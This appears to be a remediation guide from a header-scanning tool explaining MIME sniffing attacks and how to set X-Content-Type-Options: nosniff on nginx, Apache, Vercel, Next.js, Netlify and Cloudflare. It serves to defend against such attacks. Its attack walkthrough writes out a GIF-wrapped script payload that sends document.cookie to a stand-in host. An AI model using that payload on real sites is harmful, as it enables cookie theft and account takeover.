Remediation guide

What is X-Content-Type-Options: nosniff and Why Does It Matter?

HardenCheck flagged your site for a missing X-Content-Type-Options header. This guide explains the MIME sniffing attack this header prevents, exactly what nosniff blocks (and what it does not), why it still matters even on modern browsers, and the exact one-liner to add on every major hosting platform.

• What MIME sniffing is
• How sniffing becomes an attack
• What nosniff actually blocks
• Why it still matters in 2026
• Check your server's MIME types first
• Add it on your platform
• Verify with HardenCheck
• FAQ

What MIME sniffing is

Every HTTP response has a Content-Type header that tells the browser what kind of resource it received — text/html, image/jpeg, text/javascript, and so on. In the early web, many servers were misconfigured or lazy about setting this header. To keep pages working, browsers invented MIME sniffing: look at the first bytes of the response body and guess the content type from the content itself, rather than trusting the server’s declaration.

This sounds helpful — and it was, for a while. But it means the browser can disagree with the server about what a file is. A server might declare Content-Type: image/png, the browser peeks at the bytes, decides they look like HTML or JavaScript, and processes the file accordingly. That gap between what the server says and what the browser executes is the vulnerability.

How MIME sniffing becomes an attack

Here is the attack in practice. Your application has a user file upload endpoint. An attacker uploads a file that starts with a valid GIF header (GIF89a) followed by <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Your server validates that the file starts with the GIF magic bytes and stores it. When your site serves that file back with Content-Type: image/gif, a browser performing MIME sniffing may look past the GIF header, find the script tag, decide the “real” type is HTML, and execute the embedded JavaScript — in the context of your origin. Cookies stolen.

This is not theoretical: it was a real exploit vector used against image hosting services, social platforms, and any site that served user-uploaded content from the same domain as the application. Internet Explorer was the most aggressive sniffer and the most commonly exploited; Chrome and Firefox sniff more conservatively but are still not completely immune in all resource contexts.

What nosniff actually blocks — and what it does not

The header is simple: it has exactly one valid value.

X-Content-Type-Options: nosniff

When the browser receives this header on a response, it enforces the server’s Content-Type declaration for two specific resource types:

The effect on the attack above: even if the browser would otherwise have sniffed and executed the GIF-wrapped script, nosniff stops that. The browser honours the server’s image/gif declaration, treats the file as an image, and ignores the script content.

Why it still matters in 2026

You might assume that modern browsers have fixed MIME sniffing and this is a legacy concern. The reality is more nuanced:

• CDNs and object stores (Amazon S3, Google Cloud Storage, Cloudflare R2, Backblaze B2) often default to application/octet-stream for unknown file types and can be misconfigured to serve user uploads with permissive or wrong content types. If those files are served from your application domain, nosniff prevents MIME confusion at the browser level regardless of what the storage bucket sends.
• CSP script-src 'self' does not prevent same-origin MIME confusion. A CSP that restricts scripts to your own origin still allows any correctly-typed resource from your domain to run as a script. If an attacker uploads a file to your server and you serve it at a URL on your domain without nosniff, a browser that sniffs it as JavaScript will execute it even with a strict CSP in place.
• Browser behaviour varies by context. The Fetch standard defines when MIME sniffing applies, but the implementation differs across browsers and resource types. nosniff is the server-side declaration that closes this variance: you are explicitly opting into strict type enforcement rather than depending on each browser’s sniffing heuristic.
• It is a free header. There is no performance cost, no configuration complexity, no compatibility risk for correctly-typed content. Every security scanner and best-practice checklist flags its absence. Setting it is a five-second change.

Check your server’s MIME types before adding nosniff

nosniff is only as good as your Content-Type headers being correct. If your server is already serving .js files as text/plain or application/octet-stream, adding nosniff will cause browsers to refuse to execute those scripts — which is the correct security behaviour, but it will break your site until you fix the MIME types. Before you deploy the header, verify:

curl -I https://yoursite.com/your-script.js

Look for content-type: text/javascript or content-type: application/javascript in the response. If you see text/plain, application/octet-stream, or any other value, fix the MIME type on your server first. Most web servers and CDNs handle .js, .css, and .html correctly by default, but static asset hosting configurations sometimes override or strip the content-type.

Add it on your platform

Once you’ve confirmed your MIME types are correct, add the header. It’s a one-liner on every platform.

nginx

add_header X-Content-Type-Options "nosniff" always;

Apache (.htaccess)

<IfModule mod_headers.c>
  Header always set X-Content-Type-Options "nosniff"
</IfModule>

Vercel (vercel.json)

{
  "headers": [
    {
      "source": "/(.*)",
      "headers": [
        {
          "key": "X-Content-Type-Options",
          "value": "nosniff"
        }
      ]
    }
  ]
}

Next.js (next.config.js)

const securityHeaders = [
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff'
  }
];

module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: securityHeaders,
      },
    ];
  },
};

Netlify (_headers file)

/*
  X-Content-Type-Options: nosniff

Cloudflare Pages (_headers file)

/*
  X-Content-Type-Options: nosniff

If you are setting multiple security headers (which you should be), add them together to keep your configuration readable and audit-friendly:

# nginx — all four core headers together
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'" always;

Verify with HardenCheck

After deploying the header, fetch your site’s response headers with curl -I https://yoursite.com and paste the output into HardenCheck. The MIME card will immediately show whether X-Content-Type-Options: nosniff is present. You can also use HardenCheck’s live URL mode for a quick check against a publicly reachable site, or iterate on a pasted header block without touching your server.

Grade my headers with HardenCheck →

Frequently asked questions

Also in the Copper Bay Labs ship-safety suite

Once your headers are hardened, these tools and guides cover the rest of your security posture: